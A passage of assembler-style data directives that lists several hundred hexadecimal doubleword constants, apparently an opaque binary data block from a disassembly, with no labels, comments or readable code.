3DC5D8h dd 0F6A33B12h, 37C97609h, 8AB58500h, 355260EBh, 0A10B0E08h dd 80802B05h, 38373697h, 0F1C3E00h, 0A967A227h, 96CF03FEh dd 2E6B7302h, 0EADE698h, 0D08D1E30h, 7CBF78h, 5B982D90h dd 0B8FBCCB1h, 0E0D9B400h, 388C719Bh, 611158FDh, 95A59100h dd 0B74FF186h, 6ED36400h, 433C358h, 1AFC77h, 980F1F16h dd 179F7DF9h, 42F4BC07h, 0E227CDFBh, 0D8AF0AA3h, 0AA3B2Eh dd 5C6E43DDh, 0CD937504h, 42646A00h, 368BE47Fh, 0CAAB2495h dd 182450h, 5CE997F2h, 47075523h, 0B5D81C05h, 632CD9F2h dd 6DE0B0F4h, 7642074Ch, 0B0710F40h, 0AF3E606Bh, 9E7A1000h dd 73CE79D2h, 4DD40053h, 0A380A2FEh, 937DE63Ch, 0ADE32E00h dd 400CD1C7h, 338E021Ah, 652CC409h, 934F1B60h, 4837E71Fh dd 923142C0h, 3050B97Ah, 0FB5EF077h, 0A6030F25h, 0C951571Eh dd 6B82C5EAh, 93C081B9h, 289F970Ah, 0CBEBC091h, 1452793Eh dd 90ABB714h, 0D0E707C4h, 1E579C93h, 0BECBFBF0h, 0FF840025h dd 0BACC23AAh, 880071ABh, 3A56359Dh, 61A6092h, 8A812FE5h dd 0BE00C4C5h, 0D71E976Ah, 0EDC98Eh, 0B783986h, 2711062Ah dd 0C5A1DC12h, 0E0008412h, 3E65C14Ch, 7AAF7B0Bh, 8483488Ch dd 49BC000h, 36DE2E35h, 0CE463400h, 2C88BF76h, 26EC0194h dd 0D3E42DE8h dd 0F4884029h, 37581586h, 0DB9F000Ch, 7DE0AE23h, 0DE3A0187h dd 6175C4ADh, 220060A4h, 0A1A98200h, 520D9D6Eh, 3DA7076Ch dd 20485BB4h, 1D8D8C6Fh, 6E243E0Eh, 50FA405Eh, 0B0D1FCh dd 4E27D667h, 0C274A882h, 8CE7DF00h, 615E606Fh, 0C0020419h dd 8031690Eh, 1D6BAB08h, 477D3Eh, 2F645B7Eh, 0A00BB862h dd 249AACh, 0A5FA9EE3h, 0CFA7592Ah, 90B99400h, 0F197B5E9h dd 0F6570088h, 3F75AEC7h, 3300B6DBh, 0C3DC92Bh, 84C142h dd 0C8B46D2Ah, 0D1CB2D4Fh, 0C061EB0Eh, 0F0B8A223h, 7E594042h dd 662A046Eh, 0C095D788h, 0EA5D22F4h, 5CEE3420h, 21EB004Dh dd 420A8C04h, 6D00FC68h, 1550E15Dh, 4CF9BB5Ah, 6E00C8AAh dd 33250648h, 61F2C349h, 580063FCh, 14E5D220h, 0B1DCF204h dd 47371F7Ch, 9FBE9038h, 0A98D2E81h, 1BAEE086h, 7DE45D00h dd 0D06A5BCFh, 0E57802C3h, 0F8324FC2h, 25943840h, 0F52A5600h dd 1CC3423Fh, 4840E58h, 0D8205F79h, 86456A11h, 65136C07h dd 20A09F31h, 26E71863h, 12133FE1h, 0BED000B1h, 0A974070Eh dd 4644901Dh, 80F0D949h, 1944B53h, 2F8100A6h, 0CD31CB55h dd 0D10BA109h, 808C7268h, 3408DA06h, 2853024Ch, 0F8BF229Ah dd 1F01F43h, 29006683h, 4746D956h, 3F1377BCh, 1C008DE8h dd 0D7654F20h, 0BD7891A8h, 0DB5CCF1Eh, 6B157380h, 3411BEh dd 0A2E4F0CEh, 803F7736h, 0EF424714h, 0E9510EC0h, 86A6E0D8h dd 999523F8h, 0B84E01A4h, 66D463h, 98ADAE52h, 0B0307D90h dd 6FD20754h, 60ED705Ch, 37934DB6h, 0C155A51Fh, 890EF4A8h dd 80268F34h, 0DC82444Ch, 326800C6h, 1F8319Bh, 98E06D67h dd 7079FB00h, 559D0DC8h, 77EE3075h, 0CD485840h, 65D830F5h dd 0CA84E300h, 677FE26Dh, 1E4212B4h, 61F80509h, 55A70FB9h dd 9F2843E1h, 60F6D1C9h, 683A16D8h, 5E718507h, 0C4C08C24h dd 0B598CBh, 924AE485h, 136B84FDh, 87E3A700h, 0B1032FF9h dd 9D1100D7h, 0BC743642h, 52161868h, 64070A65h, 48D732CCh dd 0DEA0B7h, 17E7F5A1h, 31C70356h, 91FBF452h, 0E17BD896h dd 0F7CFA200h, 2C4050BCh, 82131EC7h, 7DFA002Ah, 835E1DB2h dd 72D3501h, 973BD63Eh, 0E8F42AE4h, 0EFD400F0h, 0E3EC1DE0h dd 0C400F2BAh, 1314E6BEh, 312B2B0h, 536DE80Dh, 5000ED4Ah dd 0C6ABD552h, 1E3DCC19h, 457492E9h, 85F64235h, 125C0048h dd 0BD137146h, 850F8AE0h, 806BE31Dh, 0E8C0F943h, 11EB0023h dd 0CA416A14h, 40C0532Dh, 8164308Fh, 0EC6E0089h, 0AD58439Fh dd 3D00CAB3h, 0FAE72716h, 0EEA037h, 0FD015BF7h, 2EDB6295h dd 0A9914F00h, 53721673h, 6E630771h, 0A051F890h, 13574C8Dh dd 0C7D96D00h, 3862679Ch, 2471B075h, 3F5BA66h, 0F90F47B9h dd 5663D9B0h, 32793400h, 68ACC9Ch, 99EC02E3h, 0C719AFE6h dd 91A8B0E3h, 944CC1ABh, 0BAA307FEh, 0D3600AA4h, 7C0F55h dd 4657D4FBh, 494BD7E6h, 0FCA7663Fh, 0BDBFBA00h, 0A9AD843Ah dd 3159031Bh, 2E0AD3EBh, 874C71C8h, 0FDCCA00h, 5AB3F80h dd 20BC1ECDh, 0F69000BAh, 0D747658Fh, 0B3687600h, 28071443h dd 70B40FB9h, 9DC01D57h, 79125C75h, 0DCF9F1E7h, 3400F816h dd 6070993Dh, 0E91890h, 2ECB6794h, 0C9080B1Dh, 3836CE00h dd 0F8406084h, 0A1780050h, 5D8E0169h, 0D300632Dh, 850A7988h dd 607A8Bh, 8732CA7Dh, 509AE72h, 0F629D01h, 6F39E168h dd 637BCCh, 4111AF4Bh, 0F5C20DC9h, 0CBEFFD02h, 0E0D20BA7h dd 0B6D69Ch, 0C3A39BB3h, 0E4B931ECh, 70682B12h, 0CAACA420h dd 1B210006h, 57625308h, 0A102B644h, 712E93E0h, 6D3240D8h dd 417705ACh, 90B136D0h, 0BDECED80h, 7BBB4007h, 0A400F98Dh dd 33A9DCh, 5F6DA8E1h, 8AE37305h, 87009990h, 790DF437h dd 583180h, 2759AE3Fh, 0F59BDEF0h, 86626004h, 0F880FC45h dd 0F089D009h, 1113641Fh, 70190530h, 0D2F51040h, 1C5B01ECh dd 9AA7C0CCh, 46C0E8B9h, 0AF188940h, 1230F94Dh, 3A660008h dd 2329776Eh, 0E903F00Fh, 64D85DA6h, 0E575F81Ch, 6127F8Bh dd 0B810F789h, 509838E9h, 216DD201h, 9D8D626Eh, 5CC1FF44h dd 0E8FB7C23h, 23A3383h, 0D9844EC7h, 0AD800B4Ch, 312E28F7h dd 97923E03h, 9B0C989Fh, 0E07C9BC6h, 6EDAB8h, 277793F5h dd 14FFB516h, 3D784E0Fh, 20A98FC9h, 0BA57301Bh, 9E8200D4h dd 0B8E8F693h, 8300BCEBh, 165E0654h, 292E97h, 8BFFCD52h dd 0E65A7C8Ah, 31988907h, 0EA5057A8h, 8FFBD8h, 0BAF9AFCDh dd 836250ACh, 0B341FC01h, 2E5E9D91h, 0B14DE880h, 30E644D4h dd 2348C78h, 0A01008B2h, 6EA4449Ah, 5306ADF0h, 89A30234h dd 3A80621h, 115C07ABh, 9E419202h, 80FC0D3Dh, 28E3FD1Ch dd 8411C0D9h, 7982D2B3h, 404E540h, 9CCBDE47h, 0EC6D40FEh dd 4068D35Ch, 8704ED26h, 30C439D1h, 68519120h, 0F7625F00h dd 0F808FDEBh, 74FE7489h, 91880328h, 794F7803h, 4E8E2007h dd 768668BBh, 0A9FA0F10h, 0B6C0726Eh, 54D1E984h, 0E70036F6h dd 0DF8CAA12h, 80FA8Eh, 0EE2D31A3h, 64951323h, 0CB40F0F0h dd 0D1CF602Ah, 8FAA1859h, 1D40F00h, 84A08325h, 0B7B60006h dd 6C92D33Dh, 6568F570h, 38811C30h, 0D6BBCEEh, 2EF08E4h dd 0CAA4229h, 0C48EF58Dh, 0B85816A0h, 0AF1494ACh, 79EC3E1Eh dd 3D974F00h, 156CBADBh, 256500A7h, 2A4EAC31h, 510022B0h dd 1A838B16h, 38F8033h, 0B330E285h, 9800443Ch, 0D4A7BABCh dd 1F318DD8h, 9FEF538Ch, 86E03DBh, 0E8F8EC90h, 9F0FFC7h dd 41C442F1h, 18408326h, 1091D0C4h, 9F07F29Ch, 0FB3CF92Bh dd 21DC55E0h, 4CBB1464h, 290894CCh, 0AD03F259h, 0F0D4215h dd 0AA517E98h, 0C7068500h, 3B0068A6h, 4FDEE98Bh, 7E9CA0C0h dd 0F977C40h, 0E1EEC248h, 0C45AD85h, 0A218D914h, 669CD100h dd 58C4004h, 928F0062h, 93F2077Eh, 23FEBFFEh, 49E20201h dd 82629EDEh, 79AB1BE4h, 4680EECh, 45CF0CB5h, 276D8F63h dd 38019A88h, 0DD5CAA01h, 0CE9D82BFh, 0D6B7A02Ah, 202F8B30h dd 14048045h, 20B492A8h, 602E74E7h, 0D36EC3Ch, 45979C8Fh dd 0AA5641E4h, 7DA88FF6h, 3E7F668Eh, 5D3A0040h, 248BDB5Ch dd 3F38432Ah, 0BFFF00BEh, 0EE992ECFh, 489860E3h, 227AFC9Ch dd 248E7C00h, 0AD1790C0h, 0C0FEE8C1h, 2252D521h, 7B007E4Fh dd 4A624264h, 0E6CF17DFh, 909C6060h, 0E48D0B49h, 285AEE00h dd 3D67F410h, 9F28C0A9h, 9930A066h, 280DA1Fh, 9D3AEA47h dd 0D1290049h, 7CF5EBF8h, 0B69203DDh, 627E0DCDh, 3A5938h dd 0AAED5142h, 1445415Dh, 0C4FDB6B2h, 0A0E7B41Bh, 22933288h dd 3804C0E2h, 0A4C25946h, 0F4E3EAC7h, 0F82D019h, 94F1500Eh dd 6D8A0866h, 0E5003464h, 0B56AB71Bh, 0F1996217h, 4960E28Eh dd 6DF0F25Dh, 0F456317Dh, 22500198h, 0C1B48FD6h, 0D788FB0Ch dd 0A2217A8h, 9A8F004Ah, 0B8083437h, 0B7E05319h, 4AD4D2D9h dd 0E7660022h, 0BFC9041Bh, 0FF0FED30h, 871A357Bh, 6C44388Bh dd 0D749B480h, 23D057Dh, 9E628h, 0A166ECE4h, 0F806913Ch dd 97223780h, 0FA7674E0h, 0A90E0071h, 11AB950Ch, 8F00A060h dd 6E39DD5Fh, 39C1ED16h, 0FB829BC7h, 0BCA61204h, 7667C40h dd 49989E37h, 3672814Bh, 5983FF0Bh, 31F53A61h, 0C40DC285h dd 0C4880046h, 880039D7h, 16EF2F47h, 18618BD3h, 20980EE5h dd 767BDB95h, 87DF6700h, 4466A8F6h, 0AB29C305h, 4977ED17h dd 18C60701h, 8A6C3A51h dd 0CA52BECh, 995C0192h, 0B207D871h, 50811BECh, 0A3D6560h dd 1EF600A4h, 0AAF4CF91h, 51C69013h, 0A9B6E0h, 0D6A1F7A2h dd 49EBCA38h, 2D10FA01h, 88468730h, 605608F4h, 0A41DF002h dd 510390A8h, 5749AD5h, 80C2925Ah, 11B65794h, 60FE60D3h dd 0D54C6832h, 42DF1C1Fh, 8A5D640h, 1A94D39h, 0F6907C93h dd 0EF41730Ah, 890C7DF0h, 0C5008C90h, 9304ED75h, 9EEC48Bh dd 77340AA2h, 0A15D3803h, 71AFE903h, 0E86FF1FEh, 580D85B5h dd 9800448Ah, 0F7E01D4Bh, 0CF768122h, 26F0B971h, 5D50DB0Ch dd 0E71C4191h, 0C4E40894h, 0C53BAE80h, 150050A3h, 6782D703h dd 1A477B79h, 39AB37ECh, 0B5F7DC18h, 1E73E601h, 0C65819DAh dd 0DF15E822h, 6300ACBFh, 3CE9905Eh, 0A4025F7Dh, 7A3F45C3h dd 3034E0E6h, 4843751Fh, 3A80F88Dh, 27823FF4h, 38FCD624h dd 0FBAE1D00h, 264406D4h, 0AC66247h, 39B8454Dh, 401090E4h dd 337FBF7Ah, 43780194h, 394A8348h, 951EB877h, 71CCB4DEh dd 4EEBB703h, 33908241h, 0BBB918B0h, 93BD2100h, 785F924Fh dd 68714EAh, 0E180805Ch, 41A29BC6h, 0E6772D00h, 0B295C7B3h dd 98ECF2EDh, 7A29C960h, 683FA820h, 1C98504Ah, 0AA37D304h dd 0E0C02079h, 0C4634Ch, 0E6D2F945h, 0AB740C1Eh, 7C409CAAh dd 3E804F4Ch, 0AF08C651h, 0EA00A1FFh, 1BB46EFCh, 909FDDCEh dd 0D4EB5018h, 7C8F4438h, 0D2483672h, 5DA80CD0h, 713C1990h dd 4EB0240h, 1D618D4Bh, 8093B449h, 4047DD21h, 0F1AC9B5h dd 924A3996h, 0F9AC0093h, 999FCFE4h, 6D460100h, 59E0EAD7h dd 6238C096h, 0D4BEC561h, 0AB3D8F09h, 94A48326h, 0C91EB49h dd 0BAE08C40h, 2B00CDE1h, 5061A8D2h, 2C71E289h, 840C3A9Fh dd 8CE467A1h, 0DB00C24Ch, 0AA7ACB5h, 2CF9A27Ch, 28CE0780h dd 8C7D48C8h, 0E016B61Ch, 77639C12h, 146742Ch, 7F5BC98Ch dd 80B9E147h, 77B47689h, 1F01340h, 0A16719FAh, 223A7AE3h dd 90F50C48h, 49CD9898h, 0A4481480h, 492ED513h, 3008CE78h dd 804D11B4h, 4EA403Fh, 28208C43h, 46CE009Dh, 7424EF40h dd 98FA6CB9h, 0B0844926h, 0F5600826h, 7B6DDE6h, 7A40A3FFh dd 0D6A9402Dh, 6C006520h, 16C09F5Bh, 194BC15Dh, 88F1A1DCh dd 842184Eh, 3B04E940h, 0CF4026C4h, 0C02F4049h, 0E5A40901h dd 53E14635h, 5A508180h, 0ECC2A69Bh, 0C5F21000h, 1893FFA5h dd 6EBA60F6h, 0A9D18A05h, 795CC890h, 206A1050h, 5E902E2Ch dd 28698E0h, 4A3A291Ah, 55E08376h, 65F43341h, 0A7E30D12h dd 4088C16h, 1DB68ABEh, 3A7CBCF0h, 41803B89h, 0F9293C51h dd 8E1E6E18h, 9B4AC448h, 0EC13D4C7h, 4EED0461h, 9BA03830h dd 7B61104h, 1B4EF557h, 94B913C1h, 9D767CCh, 392BE58Fh dd 219C7000h, 0DC81888Ah, 0A9D18820h, 0A1F017BCh, 4F8CA0AFh dd 1E30F7DBh, 0A5B9C361h, 3C90587Bh, 0EB12F309h, 380CD0C4h dd 0FE21AAh, 0F97759D2h, 0AD30FD45h, 0E2465604h, 5D0B9DC5h dd 35677810h, 9AD30D00h, 6481825Ch, 90A4F224h, 6F1100C8h dd 0DED091D5h, 0EF02C617h, 1D8216F9h, 494CA4BDh, 77586760h dd 11693C23h, 0DFA20051h, 117E3159h, 0F8B76076h, 0FE3766D9h dd 0E41D8C94h, 7502C82Ah, 0AE5CCFA6h, 0B9A8A002h, 95F2444h dd 472A7ABEh, 0B0A15C46h, 1ED91066h, 50DE26D8h, 0ED5A01A8h dd 4843CE03h, 2499DFD4h, 0AF924C01h, 5560940Ah, 2F624CDh dd 0B051C760h, 3623B5A9h, 0D9046700h, 112CBDDBh, 79A3076Bh dd 223D7C5Bh, 9C4575EDh, 0D96328E4h, 0FE8C2AE8h, 5802297Eh dd 0E41671EFh, 0FB1960C5h, 40510924h, 5044465Ah, 67DB3204h dd 38A28BD2h, 0FAC23A06h, 9D1F2090h, 2980E327h, 4C946051h dd 0C0A4E1h, 0E5BACEEh, 9A8631FFh, 0BB53DF00h, 0A91BCB39h dd 9C572615h, 0A802A22h, 0F2BA2F80h, 118029CCh, 4EE780D2h dd 8CF0823Dh, 0C1C444h, 0DDD64EEFh, 0F056FA2h, 0EB3F0B0Bh dd 0B8640365h, 91B00648h, 0C9276B3Dh, 0F3FA2210h, 4999641Ah dd 0BB11BC9Dh, 0D001E88Eh, 87FF0169h, 0C61B8C0h, 23677C20h dd 0F4AF37E0h, 84880031h, 0B479A81Eh, 0D79E3D00h, 0EC62B99Fh dd 67570216h, 313AB7Ch, 0B06B1823h, 987B672h, 60CD5A0Fh dd 0F0978801h, 0C7C82D85h, 17E0A7FEh, 92B53057h, 123C0C10h dd 8BE802DEh, 0B29E450Bh, 608C0192h, 0C395140h, 3114ADC8h dd 0BE7DE120h, 47CC4219h, 9859D530h, 0F8D9246Ch, 40A864CCh dd 6A59ED84h, 0AF6C03AEh, 0CDA62714h, 5E5B51D0h, 72ECBF16h dd 0E4909404h, 884C8CCh, 548E6A22h, 0D34003C4h, 710D227Ch dd 0B20F6712h, 8842450h, 9D1AE1h, 1D350B92h, 29007DCDh dd 2FD2E95Eh, 7864F94Bh, 7FD70738h, 8EA29932h, 0C5DA6081h dd 0BEDE04Ah, 0F14C2903h, 0A06224D1h, 0E05FD99Ch, 0AC300F6Fh dd 5220E090h, 624B0ADCh, 2D710200h, 33D2DF70h, 65F11F6Fh dd 0D3454A2Ch, 0F3ADE038h, 0D2F12565h, 0C2181895h, 0F07A2308h dd 0A0B0C06Fh, 0F51D2E74h, 0A700A8B0h, 0C2380BF3h, 984C9BF7h dd 4ED1E5ABh, 0F0D33370h, 288077DBh, 1E6845ABh, 0D7D43EBh dd 29392CE0h, 84044788h, 0A0A011AFh, 0EF3F0F80h, 1900ED67h dd 9214FB12h, 3877A7E2h, 3094F25h, 1F446124h, 0B451730h dd 0C02407ADh, 0B93CC292h, 849A0884h, 0CD3C822Ch, 0F5019D60h dd 0FA6E62F4h, 1A2FC259h, 19B84A11h, 88A3F70Ch, 0E4029F0Ch dd 8E4F030Ch, 5962826Dh, 2007BDA0h, 6CC53F66h, 8CEC40C9h dd 0E41CE879h, 598B612Fh, 51749376h, 0F22EEC78h, 4D435882h dd 0E3BF11Dh, 7E8730FCh, 50874CE0h, 0D326D618h, 0AB9EFC25h dd 0CC41E812h, 0EE2E2766h, 580F2880h, 59903CB4h, 0C077F28h dd 6C0D9C12h, 0AA3A2CD0h, 0F0A14C86h, 0F4401900h, 0E13E9804h dd 9C0C4950h, 975CEA78h, 697A8280h, 7D34D89Bh, 14FFEA21h dd 0C5A1022h, 27B6971Eh, 3A917827h, 4FE20B58h, 3A61A805h dd 5842264h, 1204E43Fh, 0BC8C50DFh, 0B820FB21h, 4B4BFC22h dd 0D7F81063h, 42563C12h, 8B90DB1Ch, 75F5F898h, 48FC9358h dd 24D2215Ch, 3BD1148h, 97373C9Dh, 49C03E99h, 918CEBA9h dd 0A0E44698h, 0B078587Dh, 69B96CB0h, 7D846698h, 15C13218h dd 64C8DD91h, 82309BC5h, 614551CAh, 6288A619h, 992EE0A7h dd 8606440h, 0A40F9C88h, 7540C594h, 9414E2BAh, 85B8220Ch dd 0A05A1580h, 4F140C46h, 0E40F8C8Fh, 7F56374Eh, 38ED1404h dd 474CC288h, 46CC261h, 9D214FF4h, 469448DCh, 0E68A1212h dd 5FD66041h, 28229991h, 9A57F522h, 99C63480h, 0F09D0C62h dd 227813A0h, 880C3F7Dh, 0F8B3547Ah, 0B45A8A8h, 0B134800Ah dd 0A20C6299h, 3724E450h, 917F9C40h, 7E10EA2Ah, 0ACD59211h dd 858EA07Ch, 0AC05E682h, 0E260F818h, 0B1D8A642h, 4AE50974h dd 50BE1062h, 11A06942h, 102AB5D8h, 5553E40Ch, 978162A8h dd 53B4645Ch, 316FD843h, 3A586C92h, 33594CA9h, 463BFC2Ch dd 0B23BB09h, 3AEC817Eh, 4D004468h, 0CD2183DDh, 621A9C17h dd 8218A545h, 1FCD278h, 92CB1205h, 84A24159h, 8034DE1Ch dd 9B8CCA44h, 31D9AA0Fh, 4989AD70h, 0A8113F80h, 413C4C42h dd 0BDB0711h, 0F2BA66E1h, 0B55D0816h, 0A8F27F74h, 60E03CD8h dd 8F05ECC0h, 16B62E08h, 0B830D0DFh, 74033C5Bh, 9F87E507h dd 779EB87Eh, 5DAC0017h, 4BB3E63Eh, 8E7A0356h, 0C2E4326h dd 0DA46DF80h, 4DC70BFCh, 0AD1E6CFBh, 0E33CDF4h, 5D6189B2h dd 0FCBC20AAh, 74477C27h dd 4A0F031Ah, 0CE0DE309h, 0ED73598h, 783F1F17h, 211880C0h dd 0A0A400C4h, 0EB4F5BABh, 40FACE95h, 0D161C900h, 0A9F7E31Ch dd 3F270EAFh, 5C1F91Dh, 0DCDF77FDh, 53004556h, 0E9F41662h dd 0F48036A2h, 0DB0D008Fh, 0EC4AEB04h, 4E745D0Eh, 803AE027h dd 330DD3E8h, 0AE7B1274h, 0BF5CA49Eh, 0D8411000h, 911FCE18h dd 0E8FA69h, 0CC9AA487h, 4321CA97h, 0E61B0906h, 1D389C1Dh dd 5E716BDBh, 3F534E91h, 0AF1BED00h, 0B90F35E7h, 802A8594h dd 69D28984h, 263C0FAEh, 0CF0096A6h, 478182B6h, 7D846D07h dd 7640B805h, 0AEAFADF8h, 30297814h, 0A13080ABh, 0A47CF684h dd 0B62B7D10h, 9E53FB00h, 83AC2A75h, 1B0045E2h, 0A9D3886Eh dd 0C35EC93h, 447998B7h, 0CF007818h, 0D18026ACh, 0E98793A8h dd 0B42880B3h, 0AFDE78A0h, 340CB790h, 787994A7h, 0CE7D30AAh dd 92A6FB31h, 7B9459C2h, 460C98F7h, 0B884A81Ch, 2A830197h dd 0F6769F50h, 0FB8840A7h, 7A309E52h, 99462947h, 9F8C0F7Ch dd 1503A516h, 1800B997h, 0C62661Ch, 60E5B178h, 96883153h dd 4B0051D0h, 5C7FE616h, 35E3BC4h, 234267D4h, 0ECB80AA3h dd 0B2003AB8h, 248F48E8h, 7C180C0Dh, 1C6300A5h, 9B5F6080h dd 171849EEh, 0E6715196h, 0ED7404B7h, 34C62BDh, 0A05CD3ECh dd 6023CADCh, 2F5528B2h, 0D79482Eh, 2449DB20h, 940065FEh dd 887818C6h, 4764EE9Ch, 0FE21A568h, 2D31856Dh, 9C4C11D2h dd 78245930h, 19C088E4h, 0F11A7B80h, 0C684050h, 29F36023h dd 4E1B0667h, 9448622Ah, 0B1DB7B18h, 0C3BA3430h, 45A01879h dd 0C45922h, 0B40DE6EFh, 42171647h, 9FE851C0h, 50E267A7h dd 8C73D048h, 0A8084A43h, 8960B217h, 63FED48Eh, 5FFF309Eh dd 0DF49B90Ch, 2326993h, 0A403FAACh, 0A48646E5h, 0C7F279E2h dd 0DC518228h, 0D9E0908Bh, 2961B3CCh, 0B0C84E31h, 4C191895h dd 58A06814h, 634E1C06h, 0AD034172h, 49E0F096h, 1C393F16h dd 27B85A0Ch, 0DA623431h, 82AAB219h, 88DEC94Ch, 3098E858h dd 0EC24D591h, 6528906Bh, 8A8B9E6h, 6642BCA4h, 0B4921554h dd 0B888746Dh, 0F59E304h, 0E6428E08h, 0B01831B2h, 50C88C82h dd 0AE504F05h, 10667A11h, 0F4FCE7BEh, 74886B42h, 706A7644h dd 6E883642h, 1FECEE42h, 516E8C88h, 43260880h, 740CF1EDh dd 6773110Ah, 0F0509E29h, 14858350h, 562B2848h, 6DBC50A0h dd 6CFE498Ch, 9B265C48h, 3431AC6Ch, 248C8859h, 0A831FC61h dd 60220226h, 7D0B3A06h, 8C906122h, 0B19684A0h, 0F69E5A88h dd 90D5FE04h, 90C8490h, 2B2F5408h, 61E5BCA6h, 0C5BE005h dd 8219324h, 6CC64823h, 91FB908Ch, 0DC4F85D0h, 3740AC7h dd 23181350h, 97CAE44h, 0BEF27106h, 0A417063h, 0B4392811h dd 627B45A0h, 0F0447998h, 8A8641C0h, 20FE77B0h, 39001915h dd 0D17A9058h, 4C93ACh, 7898A9DFh, 76AD7B28h, 79E8BAE8h dd 27A51100h, 8C0E1D89h, 0B6D20086h, 0A9F8784Fh, 0FC1E4C84h dd 67009053h, 0FA7F97A7h, 0D3D1F97Bh, 107E2898h, 0FB7C7DACh dd 0FC839013h, 0F94C2900h, 78884A8h, 4D28B967h, 0C09EC535h dd 4CA1B60Ch, 850160DEh, 3AACBA05h, 462B2862h, 42585F04h dd 83A1004Ch, 3A92AD34h, 0ECEEC3FAh, 180B18A5h, 0A500A0FCh dd 0B849FAC7h, 97550284h, 3374262h, 53626C53h, 0CCD468A3h dd 11832ECBh, 7D91ECCh, 0E2F11780h, 0F460AA15h, 3901EB3Ah dd 0C7DDEDDBh, 9080AF42h, 5660BD10h, 0F104CA63h, 0C313244Ah dd 0F21FB8A3h, 0CDADC07Fh, 0FE645B0h, 3D50E95Ch, 83A797CCh dd 0CB17601Fh, 440D810h, 6C971BFCh, 3781F8A0h, 86085255h dd 0DC31F9B4h, 7B0C0F5h, 2457C48h, 0A0521297h, 0C36EDC5h dd 10027C8Eh, 0F0165A10h, 78187E0Eh, 20D01468h, 4B20E6CBh dd 6F962CF2h, 3201100h, 0A2FDD48Fh, 0C8400016h, 48E3D663h dd 50C3801Dh, 0C1E9A138h, 0D451AEE4h, 0B8DA06BEh, 23718E8Ch dd 81CCAC95h, 976816D8h, 0FF280B1Eh, 983EF890h, 9BDD6F02h dd 0FE91833h, 0D28A6080h, 40042C78h, 97918D1Dh, 501C2CB4h dd 0C9EC48A3h, 28396748h, 0BC6422EFh, 0F5892DFh, 0D9E4C4Dh dd 0CE1BB381h, 7053D450h, 0D4E30C51h, 670F7998h, 0E37DA1ABh dd 0C27B90A9h, 5878CCB8h, 790B5026h, 540FADF8h, 1CE27B81h dd 38ABD1DBh, 0DA6D026Ch, 9843316Fh, 2D49C44h, 7548E07Fh dd 4B0B3FAh, 357C1504h, 400C4753h, 7F1F0108h, 8C22532Ah dd 228B2C74h, 4005CB78h, 6788634Ah, 0A0B31029h, 6FE424D2h dd 0ED3FCC91h, 0A63D1048h, 9636408h, 301B4AB0h, 59BF6BD9h dd 1110A5F4h, 0E83510F1h, 4646813Ch, 0D7417C08h, 346F7001h dd 6DBF8842h, 6F18F09Ch, 19C44456h, 0B01047E4h, 8B500114h dd 0A957D728h, 502EA428h, 0E0CC88A5h, 938CA69h, 6EC0692Ch dd 0FEC509BBh, 72487124h, 70226F91h, 89161544h, 24241223h dd 801A4F19h, 49D78FB7h, 0DA130AFEh, 46F4E363h, 0B252B8E8h dd 17A0DA84h, 52225104h, 0BC804708h, 46E456BCh, 0E63EEF7Ch dd 0A63ED6h, 0D0B01AA3h, 1AE740Dh, 56AD53E5h, 0F19F546Eh dd 0D197D166h, 0E38FE15Eh, 3DA7403Eh, 0A57484E6h, 0CF0003E7h dd 80AF140Dh, 0A01B5409h, 7F484D45h, 0F57F04E8h, 302EE359h dd 0D6178714h, 15F34C04h, 9C4A5740h, 95015738h, 0FF4B0583h dd 0FA756010h, 9614932h, 21182852h, 0DC557F04h, 83053200h dd 0F9DEA798h, 43BE0C14h, 24211BC9h, 0B8386352h, 0D8880038h dd 9889A752h, 0D9F9E13Dh, 0D01887A3h, 0F906849h, 281B72B0h dd 7C1CA48Eh, 38230160h, 4F55ADE6h, 4B2848E3h, 0CE44EBDh dd 0F1570B8Ch, 0BE301841h, 0C26D016h, 17F00345h, 3D6068DDh dd 0E78B4FC0h, 84ABD500h, 8C58DA7Ah, 0BAD10286h, 5A058396h dd 0B6AF40D7h, 787590h, 0F9768448h, 14838252h, 74021B00h dd 1993A934h, 395E829h, 0F0B62A7Fh, 0C0A72DE7h, 98A7351Ah dd 4740726Eh, 0ACC0FB7Ah, 2AB5D21Fh, 0F840EC9Eh, 0FC721EA1h dd 482707B8h, 2880C158h, 309BE2A7h, 0ACD49805h, 1C308392h dd 0F7AD3524h, 7CF21B00h, 0A1A7D105h, 6032D37Dh, 45EC9547h dd 0A420FAADh, 0F06D3639h, 1BFA2B6Fh, 0F8AE1718h, 65DF80A4h dd 15FB3D52h, 2CEC92C2h, 84A9F580h, 0A800D187h, 60483952h dd 53443D9Bh, 1B3E38ACh, 0BF118B03h, 0B9907BF6h, 43578090h dd 404714h, 6DBF42E7h, 1DAF2E8Bh, 534869Eh, 57C9Bh, 0C3FA7AF8h dd 65BD3355h, 49405D70h, 3DC1888h, 0D7198C56h, 67E0F34Ch dd 783A9BA8h, 839309CCh, 8B3481D0h, 35A92Bh, 0F69092D0h dd 42AF0FA8h, 12BFFBh, 759EA498h, 9A4C6739h, 95521B3Ch dd 28506008h, 4378441Bh, 502033F1h, 8309BF6Ch, 7A5FC76h dd 9E84FAECh, 353A748Ch, 8B916C69h, 38C4AE1Ch, 7A30800Bh dd 4F04A7F6h, 90B7F812h, 5498CBAAh, 0B70B6758h, 0F97FA1h dd 4B683A54h, 1ED098ABh, 64084A8h, 408190AEh, 0C073A126h dd 0CF004F1Dh, 0CD4C93BAh, 789474ACh, 178C90D0h, 1900E1Dh dd 7FAD521Bh, 877060FAh, 3AFCFB4Ch, 9E7B1245h, 98AEA001h dd 92E0FA78h, 0D260DC84h, 58AC187Fh, 0AC2552FCh, 30D85683h dd 7E277B40h, 8F6FF874h, 7D8504C8h, 45D4D7AAh, 9426FEACh dd 925225A0h, 0FE7DD056h, 7C07F8A5h, 4C87B6F7h, 6DD4984Bh dd 0B7DF1675h, 0B060674Fh, 50351A4Eh, 0FB4C8404h, 0B89DA1A6h dd 0D7B0E32Ah, 0B84A5CFCh, 0AC017484h, 7BD1839Fh, 0BF36F90h dd 53FB7D30h dd 70FE7C0Bh, 7B1B11E2h, 38D05F0Ch, 82B62CDBh, 13E492C4h dd 83B40BACh, 2B4CE438h, 89160C9Bh, 7C939806h, 0E983E818h dd 2AD1D821h, 587994E0h, 692C428h, 9354C1Ch, 83E2DC98h dd 0FA46E491h, 0C0795950h, 526FDE0Fh, 62200217h, 1061739Eh dd 92698F84h, 0ABB8077Dh, 20C8FA45h, 2C4BF9ACh, 0C17C3C48h dd 0BAFB7980h, 0C23430A1h, 7B0558C0h, 3ED07D91h, 0B06094ABh dd 496FE16Dh, 509018A6h, 1B067517h, 0A0EB0CDBh, 7E6D438Bh dd 5EF65B9Ah, 74940284h, 